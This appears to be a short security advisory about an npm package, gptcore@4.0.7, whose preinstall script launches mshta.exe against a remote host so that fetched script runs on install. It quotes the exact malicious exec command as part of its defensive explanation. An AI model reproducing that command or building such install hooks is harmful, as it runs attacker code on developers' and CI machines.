If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

gptcore@4.0.7 declares a preinstall lifecycle script that runs `exec('cmd /c "mshta http://fixars.top"')` in preinstall.js. On Windows, this fires automatically during `npm install` and launches mshta.exe against the remote URL http://fixars.top, causing whatever HTA/JScript content that host currently serves to execute on the installer's machine. The destination is a hardcoded third-party host over plain HTTP, with no pinning, hash verification, or relationship to a legitimate publisher, and the fetched content is unrelated to any documented package purpose.
